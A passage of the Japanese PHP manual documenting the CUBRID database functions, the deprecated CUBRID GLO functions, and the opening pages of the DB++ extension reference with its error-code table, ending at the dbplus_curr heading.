  • CUBRID MySQL 互換関数
  • Return the number of columns in the result set

cubrid_num_fields

(PECL CUBRID >= 8.3.0)

cubrid_num_fields — Return the number of columns in the result set

説明

cubrid_num_fields ( resource $result ) : int

This function returns the number of columns in the result set, on success, or it returns FALSE on failure.

パラメータ

result

result comes from a call to cubrid_execute(), cubrid_query() and cubrid_prepare()

返り値

Number of columns, on success.

-1 if SQL sentence is not SELECT.

false when process is unsuccessful.

例

例1 cubrid_num_fields() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM code");

$row_num = cubrid_num_rows($req);
$col_num = cubrid_num_fields($req);

printf("Row Num: %d\nColumn Num: %d\n", $row_num, $col_num);

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

Row Num: 6
Column Num: 2

User Contributed Notes

There are no user contributed notes for this page.


Ping a server connection or reconnect if there is no connection

  • ≪ cubrid_num_fields
  • cubrid_query ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Ping a server connection or reconnect if there is no connection

cubrid_ping

(PECL CUBRID >= 8.3.1)

cubrid_ping — Ping a server connection or reconnect if there is no connection

説明

cubrid_ping ( resource $conn_identifier = ? ) : bool

Checks whether or not the connection to the server is working.

パラメータ

conn_identifier

The CUBRID connection identifier. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

返り値

Returns true if the connection to the server CUBRID server is working, otherwise false.

例

例1 cubrid_ping() example

<?php
set_time_limit(0);

$conn = cubrid_connect('localhost', 33000, 'demodb');

/* Assuming this query will take a long time */
$sql = "select * from athlete";
$result = cubrid_query($sql);
if (!$result) {
    echo 'Query #1 failed, exiting.';
    exit;
}

/* Make sure the connection is still alive, if not, try to reconnect */
if (!cubrid_ping($conn)) {
    echo 'Lost connection, exiting after query #1';
    exit;
}
cubrid_free_result($result);

/* So the connection is still alive, let's run another query */
$sql2 = "select * from code";
$result2 = cubrid_query($sql2);
?>

User Contributed Notes

There are no user contributed notes for this page.


Send a CUBRID query

  • ≪ cubrid_ping
  • cubrid_real_escape_string ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Send a CUBRID query

cubrid_query

(PECL CUBRID >= 8.3.1)

cubrid_query — Send a CUBRID query

説明

cubrid_query ( string $query , resource $conn_identifier = ? ) : resource

cubrid_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified conn_identifier.

パラメータ

query

An SQL query

Data inside the query should be properly escaped.

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

返り値

For SELECT, SHOW, DESCRIBE, EXPLAIN and other statements returning resultset, cubrid_query() returns a resource on success, or false on error.

For other type of SQL statements, INSERT, UPDATE, DELETE, DROP, etc, cubrid_query() returns true on success or false on error.

The returned result resource should be passed to cubrid_fetch_array(), and other functions for dealing with result tables, to access the returned data.

Use cubrid_num_rows() to find out how many rows were returned for a SELECT statement or cubrid_affected_rows() to find out how many rows were affected by a DELETE, INSERT, REPLACE, or UPDATE statement.

cubrid_query() will also fail and return false if the user does not have permission to access the table(s) referenced by the query.

例

例1 Invalid Query

The following query is syntactically invalid, so cubrid_query() fails and returns false.

<?php
$conn = cubrid_connect('localhost', 33000, 'demodb');

$result = cubrid_query('SELECT * WHERE 1=1');
if (!$result) {
    die('Invalid query: ' . cubrid_error());
}

?>

例2 Valid Query

The following query is valid, so cubrid_query() returns a resource.

<?php
// This could be supplied by a user, for example
$firstname = 'fred';
$lastname  = 'fox';

$conn = cubrid_connect('localhost', 33000, 'demodb');

cubrid_execute($conn,"DROP TABLE if exists friends");
cubrid_execute($conn,"create table friends(firstname varchar,lastname varchar,address char(24),age int)");
cubrid_execute($conn,"insert into friends values('fred','fox','home-1','20')");
cubrid_execute($conn,"insert into friends values('blue','cat','home-2','21')");
// Formulate Query
// This is the best way to perform an SQL query
// For more examples, see cubrid_real_escape_string()
$query = sprintf("SELECT firstname, lastname, address, age FROM friends WHERE firstname='%s' AND lastname='%s'",
cubrid_real_escape_string($firstname),
cubrid_real_escape_string($lastname));

// Perform Query
$result = cubrid_query($query);

// Check result
// This shows the actual query sent to CUBRID, and the error. Useful for debugging.
if (!$result) {
    $message  = 'Invalid query: ' . cubrid_error() . "\n";
    $message .= 'Whole query: ' . $query;
    die($message);
}

// Use result
// Attempting to print $result won't allow access to information in the resource
// One of the cubrid result functions must be used
// See also cubrid_result(), cubrid_fetch_array(), cubrid_fetch_row(), etc.
while ($row = cubrid_fetch_assoc($result)) {
    echo $row['firstname'];
    echo $row['lastname'];
    echo $row['address'];
    echo $row['age'];
}

// Free the resources associated with the result set
// This is done automatically at the end of the script
cubrid_free_result($result);
?>

参考

  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_error() - Get the error message
  • cubrid_real_escape_string() - Escape special characters in a string for use in an SQL statement
  • cubrid_result() - Return the value of a specific field in a specific row
  • cubrid_fetch_assoc() - Return the associative array that corresponds to the fetched row
  • cubrid_unbuffered_query() - Perform a query without fetching the results into memory

User Contributed Notes

There are no user contributed notes for this page.


Escape special characters in a string for use in an SQL statement

  • ≪ cubrid_query
  • cubrid_result ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Escape special characters in a string for use in an SQL statement

cubrid_real_escape_string

(PECL CUBRID >= 8.3.0)

cubrid_real_escape_string — Escape special characters in a string for use in an SQL statement

説明

cubrid_real_escape_string ( string $unescaped_string , resource $conn_identifier = ? ) : string

This function returns the escaped string version of the given string. It will escape the following characters: '. In general, single quotations are used to enclose character string. Double quotations may be used as well depending on the value of ansi_quotes, which is a parameter related to SQL statement. If the ansi_quotes value is set to no, character string enclosed by double quotations is handled as character string, not as an identifier. The default value is yes. If you want to include a single quote as part of a character string, enter two single quotes in a row.

パラメータ

unescaped_string

The string that is to be escaped.

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

返り値

Escaped string version of the given string, on success.

false on failure.

例

例1 cubrid_real_escape_string() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$unescaped_str = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~';
$escaped_str = cubrid_real_escape_string($unescaped_str);

$len = strlen($unescaped_str);

@cubrid_execute($conn, "DROP TABLE cubrid_test");
cubrid_execute($conn, "CREATE TABLE cubrid_test (t char($len))");
cubrid_execute($conn, "INSERT INTO cubrid_test (t) VALUES('$escaped_str')");

$req = cubrid_execute($conn, "SELECT * FROM cubrid_test");
$row = cubrid_fetch_assoc($req);

var_dump($row);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

array(1) {
  ["t"]=>
  string(95) " !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
}

User Contributed Notes

There are no user contributed notes for this page.


Return the value of a specific field in a specific row

  • ≪ cubrid_real_escape_string
  • cubrid_unbuffered_query ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Return the value of a specific field in a specific row

cubrid_result

(PECL CUBRID >= 8.3.0)

cubrid_result — Return the value of a specific field in a specific row

説明

cubrid_result ( resource $result , int $row , mixed $field = 0 ) : string

This function returns the value of a specific field in a specific row from a result set.

パラメータ

result

result comes from a call to cubrid_execute()

row

The row number from the result that is being retrieved. Row numbers start at 0.

field

The name or offset of the field being retrieved. It can be the field's offset, the field's name, or the field's table dot field name (tablename.fieldname). If the column name has been aliased ('select foo as bar from...'), use the alias instead of the column name. If undefined, the first field is retrieved.

返り値

Value of a specific field, on success (NULL if value if null).

false on failure.

例

例1 cubrid_result() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM code");

$result = cubrid_result($req, 0);
var_dump($result);

$result = cubrid_result($req, 0, 1);
var_dump($result);

$result = cubrid_result($req, 5, "f_name");
var_dump($result);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

string(1) "X"
string(5) "Mixed"
string(4) "Gold"

User Contributed Notes

There are no user contributed notes for this page.


Perform a query without fetching the results into memory

  • ≪ cubrid_result
  • CUBRID 廃止されたエイリアスと関数 ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Perform a query without fetching the results into memory

cubrid_unbuffered_query

(PECL CUBRID >= 8.3.0)

cubrid_unbuffered_query — Perform a query without fetching the results into memory

説明

cubrid_unbuffered_query ( string $query , resource $conn_identifier = ? ) : resource

This function performs a query without waiting for that all query results have been complete. It will return when the results are being generated.

パラメータ

query

A SQL query.

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

返り値

For SELECT, SHOW, DESCRIBE or EXPLAIN statements returns a request identifier resource on success.

For other type of SQL statements, UPDATE, DELETE, DROP, etc, returns true on success.

false on failure.

注意

注意:

The benefits of cubrid_unbuffered_query() come at a cost: you cannot use cubrid_num_rows() and cubrid_data_seek() on a result set returned from cubrid_unbuffered_query().

例

例1 cubrid_unbuffered_query() example

<?php
    $link = cubrid_connect("localhost", 30000, "demodb", "dba", "");
    if (!$link)
    {
        die('Could not connect.');
    }
    $query = "select * from code";
    $result = cubrid_unbuffered_query($query, $link);

    while ($row = cubrid_fetch($result))
    {
        var_dump($row);
    }

    cubrid_close_request($result);
    cubrid_disconnect($link);
?>

User Contributed Notes

There are no user contributed notes for this page.


CUBRID 廃止されたエイリアスと関数

目次

  • cubrid_load_from_glo — Read data from a GLO instance and save it in a file
  • cubrid_new_glo — Create a glo instance
  • cubrid_save_to_glo — Save requested file in a GLO instance
  • cubrid_send_glo — Read data from glo and send it to std output

User Contributed Notes

There are no user contributed notes for this page.


Read data from a GLO instance and save it in a file

  • ≪ CUBRID 廃止されたエイリアスと関数
  • cubrid_new_glo ≫
  • PHP Manual
  • CUBRID 廃止されたエイリアスと関数
  • Read data from a GLO instance and save it in a file

cubrid_load_from_glo

(PECL CUBRID >= 8.3.0)

cubrid_load_from_glo — Read data from a GLO instance and save it in a file

説明

cubrid_load_from_glo ( resource $conn_identifier , string $oid , string $file_name ) : int

The cubrid_load_from_glo() function is used to read a data from a glo instance, and saves it in a designated file.

パラメータ

conn_identifier

Connection identifier.

oid

Oid of the glo instance that you want to read the data from.

file_name

Name of the file where you want to save the data in.

返り値

true, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_load_from_glo() example

<?php
$req = cubrid_execute ($con, "select image from person where id=1");
if ($req) {
   list ($oid) = cubrid_fetch($req);
   cubrid_close_request($req);
   $res = cubrid_load_from_glo ($con, $oid, "output.jpg");
   if ($res) {
      echo "image changed successfully";
   }
}
?>

注意

注意:

下位互換のために、次の非推奨別名を使用してもいいでしょう。 cubrid_load_from_glo()

注意:

This function is removed from CUBRID 3.1.

参考

  • cubrid_new_glo() - Create a glo instance
  • cubrid_save_to_glo() - Save requested file in a GLO instance
  • cubrid_send_glo() - Read data from glo and send it to std output

User Contributed Notes

There are no user contributed notes for this page.


Create a glo instance

  • ≪ cubrid_load_from_glo
  • cubrid_save_to_glo ≫
  • PHP Manual
  • CUBRID 廃止されたエイリアスと関数
  • Create a glo instance

cubrid_new_glo

(PECL CUBRID >= 8.3.0)

cubrid_new_glo — Create a glo instance

説明

cubrid_new_glo ( resource $conn_identifier , string $class_name , string $file_name ) : string

The cubrid_new_glo() function is used to create a glo instance in the requested class (glo class). The glo created is a LO type, and is stored in the file_name file.

パラメータ

conn_identifier

Connection identifier.

class_name

Name of the class that you want to create a glo in.

file_name

The file name that you want to save in the newly created glo.

返り値

Oid of the instance created, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_new_glo() example

<?php
$oid = cubrid_new_glo ($con, "glo", "input.jpg");
if ($oid){
   // the type of column "image" is "object"
   $req = cubrid_execute ($con, "insert into person(image) values($oid)");
   if ($req) {
      echo "image inserted successfully";
      cubrid_close_request ($req);
      cubrid_commit($con);
   }
}
?>

注意

注意:

下位互換のために、次の非推奨別名を使用してもいいでしょう。 cubrid_new_glo()

注意:

This function is removed from CUBRID 3.1.

参考

  • cubrid_save_to_glo() - Save requested file in a GLO instance
  • cubrid_load_from_glo() - Read data from a GLO instance and save it in a file
  • cubrid_send_glo() - Read data from glo and send it to std output

User Contributed Notes

There are no user contributed notes for this page.


Save requested file in a GLO instance

  • ≪ cubrid_new_glo
  • cubrid_send_glo ≫
  • PHP Manual
  • CUBRID 廃止されたエイリアスと関数
  • Save requested file in a GLO instance

cubrid_save_to_glo

(PECL CUBRID >= 8.3.0)

cubrid_save_to_glo — Save requested file in a GLO instance

説明

cubrid_save_to_glo ( resource $conn_identifier , string $oid , string $file_name ) : int

The cubrid_save_to_glo() function is used to save requested file in a glo instance.

パラメータ

conn_identifier

Connection identifier.

oid

Oid of the glo instance that you want to save a file in.

file_name

The name of the file that you want to save.

返り値

true, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_save_to_glo() example

<?php
$req = cubrid_execute ($con, "select image from person where id=1");
if ($req) {
   list ($oid) = cubrid_fetch($req);
   cubrid_close_request($req);
   $res = cubrid_save_to_glo ($con, $oid, "input.jpg");
   if ($res) {
      echo "image changed successfully";
   }
}
?>

注意

注意:

下位互換のために、次の非推奨別名を使用してもいいでしょう。 cubrid_save_to_glo()

注意:

This function is removed from CUBRID 3.1.

参考

  • cubrid_new_glo() - Create a glo instance
  • cubrid_load_from_glo() - Read data from a GLO instance and save it in a file
  • cubrid_send_glo() - Read data from glo and send it to std output

User Contributed Notes

There are no user contributed notes for this page.


Read data from glo and send it to std output

  • ≪ cubrid_save_to_glo
  • DB++ ≫
  • PHP Manual
  • CUBRID 廃止されたエイリアスと関数
  • Read data from glo and send it to std output

cubrid_send_glo

(PECL CUBRID >= 8.3.0)

cubrid_send_glo — Read data from glo and send it to std output

説明

cubrid_send_glo ( resource $conn_identifier , string $oid ) : int

The cubrid_send_glo() function is used to read data from glo instance and sends it to the PHP standard output.

パラメータ

conn_identifier

Connection identifier.

oid

Oid of the glo instance that you want to read data from.

返り値

true, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_send_glo() example

<?php
$req = cubrid_execute ($con, "select image from person where id =1");
if ($req) {
  list ($oid) = cubrid_fetch($req);
  cubrid_close_request($req);
  Header ("Content-type: image/jpeg");
  cubrid_send_glo ($con, $oid);
}
?>

注意

注意:

下位互換のために、次の非推奨別名を使用してもいいでしょう。 cubrid_send_glo()

注意:

This function is removed from CUBRID 3.1.

参考

  • cubrid_new_glo() - Create a glo instance
  • cubrid_save_to_glo() - Save requested file in a GLO instance
  • cubrid_load_from_glo() - Read data from a GLO instance and save it in a file

User Contributed Notes

There are no user contributed notes for this page.


DB++

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
    • db++ エラーコード
  • DB++ 関数
    • dbplus_add — リレーションにタプルを追加する
    • dbplus_aql — AQL クエリを実行する
    • dbplus_chdir — データベース仮想カレントディレクトリを設定/取得する
    • dbplus_close — リレーションを閉じる
    • dbplus_curr — リレーションからカレントタプルを取得する
    • dbplus_errcode — 指定したエラーコードまたは直近のエラーに関するエラー文字列を取得する
    • dbplus_errno — 直近の操作に関するエラーコードを取得する
    • dbplus_find — リレーションに拘束を設定する
    • dbplus_first — リレーションから最初のタプルを取得する
    • dbplus_flush — リレーションに行った全ての変更をフラッシュする
    • dbplus_freealllocks — このクライアントにより保持された全てのロックを解放する
    • dbplus_freelock — タプルの書き込みロックを解放する
    • dbplus_freerlocks — 指定したリレーションに関する全てのタプルロックを解放する
    • dbplus_getlock — タプルの書き込みロックを取得する
    • dbplus_getunique — あるリレーションのユニークな ID 番号を取得する
    • dbplus_info — リレーションについての情報を取得する
    • dbplus_last — リレーションから直近のタプルを取得する
    • dbplus_lockrel — リレーションに書き込みロックを要求する
    • dbplus_next — リレーションから次のタプルを取得する
    • dbplus_open — リレーションファイルをオープンする
    • dbplus_prev — リレーションから前のタプルを取得する
    • dbplus_rchperm — リレーションの許可属性を変更する
    • dbplus_rcreate — 新しい DB++ リレーションを作成する
    • dbplus_rcrtexact — インデックスを含む、リレーションの空のコピーを作成する
    • dbplus_rcrtlike — デフォルトのインデックスで、リレーションの空のコピーを作成する
    • dbplus_resolve — リレーションのホスト情報を取得する
    • dbplus_restorepos — 位置を復元する
    • dbplus_rkeys — リレーションの主キーを新規に指定する
    • dbplus_ropen — リレーションファイルをローカルにオープンする
    • dbplus_rquery — ローカル (raw) AQL クエリを実行する
    • dbplus_rrename — リレーションの名前を変更する
    • dbplus_rsecindex — リレーションに新規セカンダリインデックスを作成する
    • dbplus_runlink — ファイルシステムからリレーションを削除する
    • dbplus_rzap — リレーションから全てのタプルを削除する
    • dbplus_savepos — 位置を保存する
    • dbplus_setindex — インデックスを設定する
    • dbplus_setindexbynumber — インデックスを数字で設定する
    • dbplus_sql — SQL クエリを実行する
    • dbplus_tcl — サーバー側で TCL コードを実行する
    • dbplus_tremove — タプルを削除し、新規カレントタプルを返す
    • dbplus_undo — 元に戻す
    • dbplus_undoprepare — 元に戻す準備をする
    • dbplus_unlockrel — リレーションの書き込みロックを中断する
    • dbplus_unselect — リレーションから制約を削除する
    • dbplus_update — リレーション内の指定したタプルを更新する
    • dbplus_xlockrel — リレーションの排他的ロックを要求する
    • dbplus_xunlockrel — リレーションの排他的ロックを解放する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

db++ は、ドイツの企業 » Concept asa により作成された高性能でかつメモリ使用量とディスク使用量が 小さいことを特徴とするリレーショナルデータベースシステムです。 db++ では、SQL は補助的なインターフェイス原語として提供されており、 元来の SQL データベースであるわけではありませんが、SQL よりも 関係代数にはるかに強く影響された固有の AQL クエリ言語が提供されています。

Concept asa は、常にオープンソース言語のサポートに関心を持って来ており、 db++ は Perl、Tcl コールのインターフェイスを何年も前から有し、 Tcl を内部的なストアドプロシージャ言語として使用しています。

注意:

この拡張モジュールは » PECL レポジトリに移動 されており、以下のバージョン以降 PHP にバンドルされなくなっています。 PHP 4.3.0

警告

この拡張モジュールは、 実験的 なものです。この拡張モジュールの動作・ 関数名・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 このモジュールは自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


要件

この拡張モジュールは外部クライアントライブラリに依存しており、 この拡張モジュールを使用したいシステム上に db++ クライアントがインストールされている必要があります。

» Concept asa が、 Linux および他のいくつかの Unix 版の » db++ デモ版 および » ドキュメント を提供しています。また、Windows 版の db++ もありますが、 この拡張モジュールでは(まだ)サポートしていません。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この拡張モジュールは » PECL レポジトリに移動 されており、以下のバージョン以降 PHP にバンドルされなくなっています。 PHP 4.3.0

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/dbplus.

この拡張モジュールをビルドするためには、db++ クライアントライブラリおよび ヘッダファイルがシステムにインストールされていることが必要です (db++ のインストールアーカイブには、これらがデフォルトで含まれています)。 この拡張モジュールをビルドするためには、configure の際にオプション --with-dbplus を設定する必要があります。

configure は、クライアントライブラリおよびヘッダファイルを デフォルトのパス /usr/dbplus、 /usr/local/dbplus および /opt/dblus から探します。もし db++ を別の場所にインストールしている場合、 以下のようにしてインストール場所を configure オプションに 指定する必要があります。 --with-dbplus=/your/installation/path

User Contributed Notes

There are no user contributed notes for this page.


リソース型

dbplus_relation

多くの db++ 関数は、dbplus_relation リソースを操作または返します。 dbplus_relation は、 保存された関係またはクエリの結果として生成された関係へのハンドルです。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

目次

  • db++ エラーコード

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

User Contributed Notes

There are no user contributed notes for this page.


db++ エラーコード

DB++ エラーコード
PHP 定数 | db++ 定数 | 意味
DBPLUS_ERR_NOERR (int) | ERR_NOERR | Null エラー条件
DBPLUS_ERR_DUPLICATE (int) | ERR_DUPLICATE | 重複するタプルを挿入した
DBPLUS_ERR_EOSCAN (int) | ERR_EOSCAN | rget() からスキャン終了
DBPLUS_ERR_EMPTY (int) | ERR_EMPTY | 関係が空(サーバー)
DBPLUS_ERR_CLOSE (int) | ERR_CLOSE | サーバーをクローズできない
DBPLUS_ERR_WLOCKED (int) | ERR_WLOCKED | レコードは書き込みロックされている
DBPLUS_ERR_LOCKED (int) | ERR_LOCKED | 関係は既にロックされている
DBPLUS_ERR_NOLOCK (int) | ERR_NOLOCK | 関係をロックできない
DBPLUS_ERR_READ (int) | ERR_READ | 関係の読み込みエラー
DBPLUS_ERR_WRITE (int) | ERR_WRITE | 関係の書き込みエラー
DBPLUS_ERR_CREATE (int) | ERR_CREATE | create() システムコールが失敗
DBPLUS_ERR_LSEEK (int) | ERR_LSEEK | lseek() システムコールが失敗
DBPLUS_ERR_LENGTH (int) | ERR_LENGTH | 最大長を越えるタプル
DBPLUS_ERR_OPEN (int) | ERR_OPEN | open() システムコールが失敗
DBPLUS_ERR_WOPEN (int) | ERR_WOPEN | 関係は既に書き込みオープンされている
DBPLUS_ERR_MAGIC (int) | ERR_MAGIC | ファイルは関係でない
DBPLUS_ERR_VERSION (int) | ERR_VERSION | ファイルは非常に古い関係である
DBPLUS_ERR_PGSIZE (int) | ERR_PGSIZE | 関係は異なったページサイズを使用している
DBPLUS_ERR_CRC (int) | ERR_CRC | 不正な CRC がスーパーページにある
DBPLUS_ERR_PIPE (int) | ERR_PIPE | パイプ上の関係は lseek() を要求している
DBPLUS_ERR_NIDX (int) | ERR_NIDX | セカンダリインデックスが多すぎる
DBPLUS_ERR_MALLOC (int) | ERR_MALLOC | malloc() コールが失敗した
DBPLUS_ERR_NUSERS (int) | ERR_NUSERS | 最大ユーザー数エラー
DBPLUS_ERR_PREEXIT (int) | ERR_PREEXIT | 無効な使用法により発生
DBPLUS_ERR_ONTRAP (int) | ERR_ONTRAP | シグナルにより発生
DBPLUS_ERR_PREPROC (int) | ERR_PREPROC | プリプロセッサにおけるエラー
DBPLUS_ERR_DBPARSE (int) | ERR_DBPARSE | パーサ上のエラー
DBPLUS_ERR_DBRUNERR (int) | ERR_DBRUNERR | dbにおける実行エラー
DBPLUS_ERR_DBPREEXIT (int) | ERR_DBPREEXIT | prexit() * プロシージャにより発生した終了条件
DBPLUS_ERR_WAIT (int) | ERR_WAIT | 少し待つ(simple のみ)
DBPLUS_ERR_CORRUPT_TUPLE (int) | ERR_CORRUPT_TUPLE | クライアントが壊れたタプルを送信した
DBPLUS_ERR_WARNING0 (int) | ERR_WARNING0 | simple ルーチンが、修正済みの致命的でないエラーを発見した
DBPLUS_ERR_PANIC (int) | ERR_PANIC | サーバーは実際に実行中断していないが、全てのクライアントに ERR_PANIC が送信された
DBPLUS_ERR_FIFO (int) | ERR_FIFO | fifo を作成できない
DBPLUS_ERR_PERM (int) | ERR_PERM | 不許可
DBPLUS_ERR_TCL (int) | ERR_TCL | TCL_error
DBPLUS_ERR_RESTRICTED (int) | ERR_RESTRICTED | ユーザー二人のみ
DBPLUS_ERR_USER (int) | ERR_USER | アプリケーションプログラマによるライブラリの使用エラー
DBPLUS_ERR_UNKNOWN (int) | ERR_UNKNOWN |

User Contributed Notes

There are no user contributed notes for this page.


DB++ 関数

目次

  • dbplus_add — リレーションにタプルを追加する
  • dbplus_aql — AQL クエリを実行する
  • dbplus_chdir — データベース仮想カレントディレクトリを設定/取得する
  • dbplus_close — リレーションを閉じる
  • dbplus_curr — リレーションからカレントタプルを取得する
  • dbplus_errcode — 指定したエラーコードまたは直近のエラーに関するエラー文字列を取得する
  • dbplus_errno — 直近の操作に関するエラーコードを取得する
  • dbplus_find — リレーションに拘束を設定する
  • dbplus_first — リレーションから最初のタプルを取得する
  • dbplus_flush — リレーションに行った全ての変更をフラッシュする
  • dbplus_freealllocks — このクライアントにより保持された全てのロックを解放する
  • dbplus_freelock — タプルの書き込みロックを解放する
  • dbplus_freerlocks — 指定したリレーションに関する全てのタプルロックを解放する
  • dbplus_getlock — タプルの書き込みロックを取得する
  • dbplus_getunique — あるリレーションのユニークな ID 番号を取得する
  • dbplus_info — リレーションについての情報を取得する
  • dbplus_last — リレーションから直近のタプルを取得する
  • dbplus_lockrel — リレーションに書き込みロックを要求する
  • dbplus_next — リレーションから次のタプルを取得する
  • dbplus_open — リレーションファイルをオープンする
  • dbplus_prev — リレーションから前のタプルを取得する
  • dbplus_rchperm — リレーションの許可属性を変更する
  • dbplus_rcreate — 新しい DB++ リレーションを作成する
  • dbplus_rcrtexact — インデックスを含む、リレーションの空のコピーを作成する
  • dbplus_rcrtlike — デフォルトのインデックスで、リレーションの空のコピーを作成する
  • dbplus_resolve — リレーションのホスト情報を取得する
  • dbplus_restorepos — 位置を復元する
  • dbplus_rkeys — リレーションの主キーを新規に指定する
  • dbplus_ropen — リレーションファイルをローカルにオープンする
  • dbplus_rquery — ローカル (raw) AQL クエリを実行する
  • dbplus_rrename — リレーションの名前を変更する
  • dbplus_rsecindex — リレーションに新規セカンダリインデックスを作成する
  • dbplus_runlink — ファイルシステムからリレーションを削除する
  • dbplus_rzap — リレーションから全てのタプルを削除する
  • dbplus_savepos — 位置を保存する
  • dbplus_setindex — インデックスを設定する
  • dbplus_setindexbynumber — インデックスを数字で設定する
  • dbplus_sql — SQL クエリを実行する
  • dbplus_tcl — サーバー側で TCL コードを実行する
  • dbplus_tremove — タプルを削除し、新規カレントタプルを返す
  • dbplus_undo — 元に戻す
  • dbplus_undoprepare — 元に戻す準備をする
  • dbplus_unlockrel — リレーションの書き込みロックを中断する
  • dbplus_unselect — リレーションから制約を削除する
  • dbplus_update — リレーション内の指定したタプルを更新する
  • dbplus_xlockrel — リレーションの排他的ロックを要求する
  • dbplus_xunlockrel — リレーションの排他的ロックを解放する

User Contributed Notes

There are no user contributed notes for this page.


リレーションにタプルを追加する

  • ≪ DB++ 関数
  • dbplus_aql ≫
  • PHP Manual
  • DB++ 関数
  • リレーションにタプルを追加する

dbplus_add

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_add — リレーションにタプルを追加する

説明

dbplus_add ( resource $relation , array $tuple ) : int

タプルをリレーション relation に追加します。

パラメータ

relation

tuple

属性/値の組の配列であり、 指定した relation に挿入されます。

実行に成功すると tuple 配列には新規に生成されたタプルの 完全なデータが含まれ、そこにはシーケンスのような暗黙の内に設定 される全てのドメインが含まれます。

返り値

この関数は、成功した場合に DBPLUS_ERR_NOERR、 失敗した場合に db++ エラーコードを返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

参考

  • dbplus_errcode() - 指定したエラーコードまたは直近のエラーに関するエラー文字列を取得する

User Contributed Notes

There are no user contributed notes for this page.


AQL クエリを実行する

  • ≪ dbplus_add
  • dbplus_chdir ≫
  • PHP Manual
  • DB++ 関数
  • AQL クエリを実行する

dbplus_aql

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_aql — AQL クエリを実行する

説明

dbplus_aql ( string $query , string $server = ? , string $dbpath = ? ) : resource

AQL query を、指定した server および dbpath で実行します。

パラメータ

query

AQL (Algebraic Query Language) に関するより詳細な情報については、 オリジナルの db++ マニュアルで提供されています。

server

dbpath

返り値

成功時に関係ハンドルを返します。結果データは、 dbplus_next() および dbplus_curr() をコールすることにより、このリレーションから取得可能です。 他のリレーションアクセス関数は結果のリレーションで動作しません。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


データベース仮想カレントディレクトリを設定/取得する

  • ≪ dbplus_aql
  • dbplus_close ≫
  • PHP Manual
  • DB++ 関数
  • データベース仮想カレントディレクトリを設定/取得する

dbplus_chdir

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_chdir — データベース仮想カレントディレクトリを設定/取得する

説明

dbplus_chdir ( string $newdir = ? ) : string

dbplus_open() でリレーションファイルを探す際の 仮想カレントディレクトリを変更します。

パラメータ

newdir

リレーションファイルの新しいディレクトリ。このパラメータを省略すると、 現在の作業ディレクトリで探します。

返り値

カレントディレクトリの絶対パスを返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


リレーションを閉じる

  • ≪ dbplus_chdir
  • dbplus_curr ≫
  • PHP Manual
  • DB++ 関数
  • リレーションを閉じる

dbplus_close

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_close — リレーションを閉じる

説明

dbplus_close ( resource $relation ) : mixed

dbplus_open() でオープンしたリレーションを閉じます。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

返り値

成功した場合に true、失敗した場合に DBPLUS_ERR_UNKNOWN を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


リレーションからカレントタプルを取得する

  • ≪ dbplus_close
  • dbplus_errcode ≫
  • PHP Manual
  • DB++ 関数
  • リレーションからカレントタプルを取得する

